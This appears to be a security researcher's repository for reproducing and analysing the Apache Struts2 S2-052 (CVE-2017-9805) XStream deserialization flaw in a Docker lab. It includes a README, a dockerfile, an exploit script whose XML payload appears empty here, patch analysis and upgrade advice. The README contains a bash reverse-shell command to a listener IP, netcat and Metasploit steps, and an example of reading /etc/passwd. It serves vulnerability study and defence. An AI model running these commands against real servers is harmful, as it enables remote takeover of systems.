├── .gitignore
├── LICENSE
├── README.md
├── dockerfile
├── exploit.py
├── payload.xml
└── src
├── apache-tomcat-8.0.46.tar.gz
├── burp.png
├── nc.png
├── struts.zip
└── tomcat.png
/.gitignore:
--------------------------------------------------------------------------------
1 | .vscode
2 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2017 Vancir
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Apache Struts2 S2-052(CVE-2017-9805)远程代码执行漏洞
2 |
3 | ## 0x00 漏洞描述
4 |
5 | `Apache Struts`是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级`Java Web`应用的开源MVC框架。
6 |
7 | `Struts2`是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,`Struts2`作为控制器(Controller)来建立模型与视图的数据交互
8 |
9 | 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的`REST`插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。
10 |
11 | Github项目地址: [Vancir/s2-052-reproducing](https://github.com/Vancir/s2-052-reproducing)
12 |
13 | ## 0x01 漏洞影响
14 |
15 | 启用Struts REST插件并使用XStream组件对XML进行反序列操作时,未对数据内容进行有效验证,可被攻击者进行远程代码执行攻击(RCE)。
16 |
17 | 实际场景中存在一定局限性,需要满足一定条件(如要求jdk版本较新),非struts本身默认开启的组件。
18 |
19 | ### 影响版本
20 |
21 | * Version 2.5.0 to 2.5.12
22 | * Version 2.1.2 to 2.3.33
23 |
24 | ## 0x02 环境搭建
25 |
26 | * Ubuntu 14.04.5
27 | * JDK 8u151
28 | * Struts 2.5.12
29 | * Apache Tomcat 8.0.46
30 |
31 | 通过建立docker容器来搭建实验环境,保证复现过程的安全性和便
32 | 携性。在docker环境中部署好Apache Tomcat,Struts 2以及Java等基础环境。
33 |
34 | * 运行以下命令拉取docker镜像
35 |
36 | ``` bash
37 | sudo -s # docker 需要以root身份运行
38 | docker pull vancir/s2-052:2.5.12 # 从docker cloud上拉取仓库vancir/s2-052(struts2版本为2.5.12)到本地
39 | ```
40 |
41 | * 或使用dockerfile手动生成docker镜像
42 |
43 | 由于`JDK 8u151`文件较大,因此首先需要使用者从[Oracle官网](http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html)下载并移动到`src`文件夹下(md5sum: `774d8cb584d9ebedef8eba9ee2dfe113` jdk-8u151-linux-x64.tar.gz)。
44 |
45 | 然后切换到dockerfile文件所在路径,运行以下命令
46 |
47 | ``` bash
48 | docker build -t="vancir/s2-052:2.5.12" .
49 | ```
50 |
51 | * 创建并运行docker容器
52 |
53 | ``` bash
54 | docker run --name demo -d -p 80:8080 vancir/s2-052:2.5.12
55 | ```
56 |
57 | `--name`选项设置docker容器的名称为demo,`-d`选项设置容器在后台运行,`-p`选项设置容器内8080端口映射为本地的80端口,`vancir/s2-052:2.5.12`是我们的docker镜像
58 |
59 | docker容器运行完成后,访问`http://localhost`观察到如下页面,即完成实验环境的搭建步骤。
60 |
61 | 
62 |
63 | ## 0x03 漏洞攻击复现
64 |
65 | ### 使用burpsuite直接发送恶意xml
66 |
67 | 接下来我们就要使用burpsuite发送恶意xml给服务器并反弹一个shell。
68 |
69 | 首先打开`burp suite`(需到[官网](https://portswigger.net/burp/freedownload)下载安装),切换到`Repeater`选项卡
70 |
71 | 将`payload.xml`里的内容全部复制粘贴到`Request`内容框中,并设置右上角的`Target`为`127.0.0.1:80`
72 |
73 | 这里需要对`payload.xml`的以下内容进行改动,以保证服务器反弹的shell能被我们接收到。
74 |
75 | ``` xml
76 | bash -i >& /dev/tcp/10.30.178.227/8001 0>&1
77 | ```
78 |
79 | 这条命令为我们反弹一个shell回来。你需要将`10.30.178.227`设置为你本机的IP,`8001`是反弹到你本机的端口号
80 |
81 | 
82 |
83 | 打开终端,使用`NetCat`监听本地端口`8001`
84 |
85 | ``` bash
86 | nc -l -p 8001
87 | ```
88 |
89 | 现在`NetCat`正在监听本机的8001端口,我们点击`burp suite`左上方的`Go`按钮提交request,服务器会返回一个responce,同时我们也监听到了一个shell
90 |
91 | 
92 |
93 | 如图,我们获取了一个root身份的shell,通过shell我们可以执行任意指令(如图`cat /etc/passwd`). 至此漏洞攻击复现完毕。
94 |
95 | ### 运行python脚本实现攻击
96 |
97 | 编写好了一个[python脚本](./exploit.py)以供更便捷地复现攻击过程
98 |
99 | ``` bash
100 | nc -l -p 8001
101 | # Use: python exploit.py
102 | python exploit.py 10.30.178.227 8001
103 | ```
104 |
105 | ### 使用Metasploit模块进行攻击
106 |
107 | ``` bash
108 | msf > use exploit/multi/http/struts2_rest_xstream
109 | msf exploit(struts2_rest_xstream) > show targets
110 | ...targets...
111 | msf exploit(struts2_rest_xstream) > set TARGET
112 | msf exploit(struts2_rest_xstream) > show options
113 | ...show and set options...
114 | msf exploit(struts2_rest_xstream) > exploit
115 | ```
116 |
117 | > Todo: Wireshark观察攻击过程
118 |
119 | ## 0x04 漏洞分析
120 |
121 | 从`Apache Struts`的一个镜像站点下载`Apache Struts 2.5.12`的源码包进行分析: [struts-2.5.12-src.zip](https://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-src.zip)
122 |
123 | 在`struts-plugins.xml`中的`bean`标签根据`Content-Type`进行分类,并对各类唯一指定了一个`Handler`.
124 |
125 | ``` xml
126 |
127 |
128 | ```
129 |
130 | `ContentTypeHandler`将对应类型的请求数据分配给指定的子类进行处理,针对`xml`则是默认指定用`XStreamHandler`进行处理,这意味着使用REST插件就会存在`XStreamHandler`的反序列化漏洞。我们查看源码分析它是如何进行处理的
131 |
132 | ``` java
133 | // filepath: src/plugins/rest/src/main/java/org/apache/struts2/rest/handler/XStreamHandler.java
134 |
135 | public class XStreamHandler implements ContentTypeHandler {
136 |
137 | public String fromObject(Object obj, String resultCode, Writer out) throws IOException {
138 | if (obj != null) {
139 | XStream xstream = createXStream();
140 | xstream.toXML(obj, out);
141 | }
142 | return null;
143 | }
144 |
145 | public void toObject(Reader in, Object target) {
146 | XStream xstream = createXStream();
147 | xstream.fromXML(in, target);
148 | }
149 |
150 | protected XStream createXStream() {
151 | return new XStream();
152 | }
153 |
154 | public String getContentType() {
155 | return "application/xml";
156 | }
157 |
158 | public String getExtension() {
159 | return "xml";
160 | }
161 | }
162 | ```
163 |
164 | 可见,在`marshal`和`unmarshal`过程中,`XStreamHandler`未能对请求的XML数据进行校验和检查,可能导致Java反序列化漏洞
165 |
166 | 再看`ContentTypeInterceptor.java`,代码首先使用`getHandlerForRequest`方法(Gets the handler for the request by looking at the request content type and extension)对请求的xml获取`XStreamHandler`
167 |
168 | ``` java
169 | // filepath: src/plugins/rest/src/main/java/org/apache/struts2/rest/ContentTypeInterceptor.java
170 | public String intercept(ActionInvocation invocation) throws Exception {
171 | HttpServletRequest request = ServletActionContext.getRequest();
172 | ContentTypeHandler handler = selector.getHandlerForRequest(request);
173 |
174 | Object target = invocation.getAction();
175 | if (target instanceof ModelDriven) {
176 | target = ((ModelDriven)target).getModel();
177 | }
178 |
179 | if (request.getContentLength() > 0) {
180 | InputStream is = request.getInputStream();
181 | InputStreamReader reader = new InputStreamReader(is);
182 | handler.toObject(reader, target);
183 | }
184 | return invocation.invoke();
185 | }
186 | ```
187 |
188 | 其中的关键漏洞代码在以下:
189 | ``` java
190 | InputStream is = request.getInputStream();
191 | InputStreamReader reader = new InputStreamReader(is);
192 | handler.toObject(reader, target);
193 | ```
194 |
195 | 这里未有对请求数据进行校验和检查,导致了`XStreamHandler`在反序列化传入的xml时造成了远程代码执行。
196 |
197 | 至于如何构造XML数据导致命令执行,详情查看这篇论文: [marshalsec.pdf](https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf)
198 |
199 | 我们可以使用论文作者开源的`marshalsec`工具来生成payload。
200 |
201 | ## 0x05 补丁分析
202 |
203 | 从`Apache Struts`的一个镜像站点下载`Apache Struts 2.5.13`的源码包进行分析: [struts-2.5.13-src.zip](https://archive.apache.org/dist/struts/2.5.13/struts-2.5.13-src.zip),同时结合官方发布补丁的commit记录进行分析: [链接](https://github.com/apache/struts/commit/19494718865f2fb7da5ea363de3822f87fbda264)
204 |
205 |
206 | 我们可以观察到,在新发布的版本2.5.13中`org.apache.struts2.rest.handler`这个包新增了几个文件: `AllowedClassNames.java`, `AllowedClasses.java`, `AbstractContentTypeHandler.java`和`XStreamPermissionProvider.java`
207 |
208 |
209 | 在`XStreamHandler`类中修改了`createXStream`方法同时新加了几个方法.
210 |
211 | ``` java
212 | protected XStream createXStream(ActionInvocation invocation) {
213 | XStream stream = new XStream();
214 | LOG.debug("Clears existing permissions");
215 | stream.addPermission(NoTypePermission.NONE);
216 |
217 | LOG.debug("Adds per action permissions");
218 | addPerActionPermission(invocation, stream);
219 |
220 | LOG.debug("Adds default permissions");
221 | addDefaultPermissions(invocation, stream);
222 | return stream;
223 | }
224 | ```
225 |
226 | 新添代码的主要作用是将`xml`中的数据白名单化,把`Collection`和`Map`,一些基础类,时间类放在白名单中,这样就能阻止`XStream`反序列化的过程中带入一些有害类。
227 |
228 | ``` java
229 | private void addPerActionPermission(ActionInvocation invocation, XStream stream) {
230 | Object action = invocation.getAction();
231 | if (action instanceof AllowedClasses) {
232 | Set> allowedClasses = ((AllowedClasses) action).allowedClasses();
233 | stream.addPermission(new ExplicitTypePermission(allowedClasses.toArray(new Class[allowedClasses.size()])));
234 | }
235 | if (action instanceof AllowedClassNames) {
236 | Set allowedClassNames = ((AllowedClassNames) action).allowedClassNames();
237 | stream.addPermission(new ExplicitTypePermission(allowedClassNames.toArray(new String[allowedClassNames.size()])));
238 | }
239 | if (action instanceof XStreamPermissionProvider) {
240 | Collection permissions = ((XStreamPermissionProvider) action).getTypePermissions();
241 | for (TypePermission permission : permissions) {
242 | stream.addPermission(permission);
243 | }
244 | }
245 | }
246 |
247 | protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {
248 | stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()}));
249 | if (invocation.getAction() instanceof ModelDriven) {
250 | stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()}));
251 | }
252 | stream.addPermission(NullPermission.NULL);
253 | stream.addPermission(PrimitiveTypePermission.PRIMITIVES);
254 | stream.addPermission(ArrayTypePermission.ARRAYS);
255 | stream.addPermission(CollectionTypePermission.COLLECTIONS);
256 | stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
257 | }
258 | ```
259 |
260 | 另外,针对官方给出的临时缓解措施 `` 这是针对action的后缀进行限定,而是否使用`XStream`进行处理则取决于`Content-Type`是否含有`xml`。如果`Content-Type`中含有`xml`,则依旧会交给`XStream`处理。因此该临时缓解措施完全无效。
261 |
262 | 针对补丁后的版本,漏洞的防御过程实验。可以拉取docker仓库中的`vancir/s2-052:2.5.13`并依照之前的步骤重新操作
263 |
264 | ``` bash
265 | sudo -s
266 | docker pull vancir/s2-052:2.5.13
267 | ```
268 |
269 | ## 0x06 Struts 2过往漏洞情况
270 |
271 | Apache Struts 2漏洞频发,过往有大量的该产品的漏洞预警。安全分析人士甚至编写有Struts2全漏洞检测脚本。通过对往期Struts2漏洞,分析Struts2常见的攻击方式并总结Struts2的一些修复建议。
272 |
273 | > Todo: 搜集过往的一些漏洞情况
274 |
275 | ## 0x07 S2-052 修复建议
276 |
277 | 在新版本中增加了`XStreamPermissionProvider`,并且对原先有问题的`createXStream`进行重写,增加了校验,拒绝不安全的类执行
278 |
279 | * 升级至`Struts 2.5.13`或`Struts 2.3.34`版本
280 | * 在不使用时移除移除`Struts REST`插件
281 |
282 | ## 0xFF 参考资料
283 | 1. [Using QL to find a remote code execution vulnerability in Apache Struts (CVE-2017-9805)](https://lgtm.com/blog/apache_struts_CVE-2017-9805)
284 |
285 | 2. [Apache Struts 2 Documentation - Security Bulletins - S2-052](https://cwiki.apache.org/confluence/display/WW/S2-052)
286 |
287 | 3. [Metasploit Modules Related To CVE-2017-9805](https://www.rapid7.com/db/modules/exploit/multi/http/struts2_rest_xstream)
288 |
289 | 4. [Oracle Security Alert Advisory - CVE-2017-9805](http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html)
290 |
291 |
--------------------------------------------------------------------------------
/dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:14.04
2 | MAINTAINER Vancir "vancirprince@gmail.com"
3 |
4 | ENV DEBIAN_FRONTEND noninteractive
5 |
6 | # set jdk environment
7 | ENV JAVA_HOME /usr/local/jdk1.8.0_151
8 | ENV JRE_HOME $JAVA_HOME/jre
9 | ENV CLASSPATH .:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib
10 | ENV PATH $PATH:$JAVA_HOME/bin:$JRE_HOME/bin
11 |
12 | # set ubuntu source list
13 | RUN echo "deb http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse\ndeb http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse\ndeb http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse\ndeb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse\ndeb http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse\ndeb-src http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse\ndeb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse\ndeb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse\ndeb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse\ndeb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse" > /etc/apt/sources.list
14 |
15 | # update and install some tools
16 | RUN apt-get update -y \
17 | && apt-get install unzip\
18 | && apt-get install net-tools
19 |
20 | # extract zip and gzip file
21 | WORKDIR /tmp
22 | COPY ./src/apache-tomcat-8.0.46.tar.gz /tmp/
23 | COPY ./src/jdk-8u151-linux-x64.tar.gz /tmp/
24 | COPY ./src/struts.zip /tmp/
25 | RUN tar -xz -f jdk-8u151-linux-x64.tar.gz -C /usr/local/
26 | RUN tar -xz -f apache-tomcat-8.0.46.tar.gz -C /usr/local/
27 | RUN unzip struts.zip -d /usr/local/apache-tomcat-8.0.46/webapps
28 |
29 | # set REST web program demo
30 | RUN mv /usr/local/apache-tomcat-8.0.46/webapps/struts-2.5.12/apps/struts2-rest-showcase.war /usr/local/apache-tomcat-8.0.46/webapps
31 |
32 | EXPOSE 8080
33 |
34 | # start our tomcat
35 | CMD ["/usr/local/apache-tomcat-8.0.46/bin/catalina.sh", "run"]
36 |
37 |
38 |
--------------------------------------------------------------------------------
/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # coding=utf-8
3 | # Struts CVE-2017-9805 Exploit
4 | import requests
5 | import sys
6 |
7 | def exploration(ip, port):
8 |
9 | exploit = '''
10 |
66 | '''
67 |
68 |
69 | url = "http://127.0.0.1/struts2-rest-showcase/orders/3/edit"
70 |
71 | headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0',
72 | 'Content-Type': 'application/xml'}
73 |
74 | request = requests.post(url, data=exploit, headers=headers)
75 |
76 | if len(sys.argv) < 3:
77 | print ('CVE: 2017-9805 - Apache Struts2 Rest Plugin Xstream RCE')
78 | print ('[*] Use: python exploit.py ')
79 | print ('[*] Example: python exploit.py 10.30.178.227 8001')
80 | exit(0)
81 | else:
82 | exploration(sys.argv[1], sys.argv[2])
--------------------------------------------------------------------------------
/payload.xml:
--------------------------------------------------------------------------------
1 | POST /struts2-rest-showcase/orders HTTP/1.1
2 | Host: localhost
3 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
4 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
6 | Content-Type: application/xml
7 | Content-Length: 2468
8 | Cookie: JSESSIONID=A82EAA2857Aq1FFAF61FF24A1FBB4A3C7
9 | Connection: close
10 | Upgrade-Insecure-Requests: 1
11 |
12 |
--------------------------------------------------------------------------------
/src/apache-tomcat-8.0.46.tar.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Vancir/s2-052-reproducing/198dd74a89d39f425ad070f9fd081ad1c8130933/src/apache-tomcat-8.0.46.tar.gz
--------------------------------------------------------------------------------
/src/burp.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Vancir/s2-052-reproducing/198dd74a89d39f425ad070f9fd081ad1c8130933/src/burp.png
--------------------------------------------------------------------------------
/src/nc.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Vancir/s2-052-reproducing/198dd74a89d39f425ad070f9fd081ad1c8130933/src/nc.png
--------------------------------------------------------------------------------
/src/struts.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Vancir/s2-052-reproducing/198dd74a89d39f425ad070f9fd081ad1c8130933/src/struts.zip
--------------------------------------------------------------------------------
/src/tomcat.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Vancir/s2-052-reproducing/198dd74a89d39f425ad070f9fd081ad1c8130933/src/tomcat.png
--------------------------------------------------------------------------------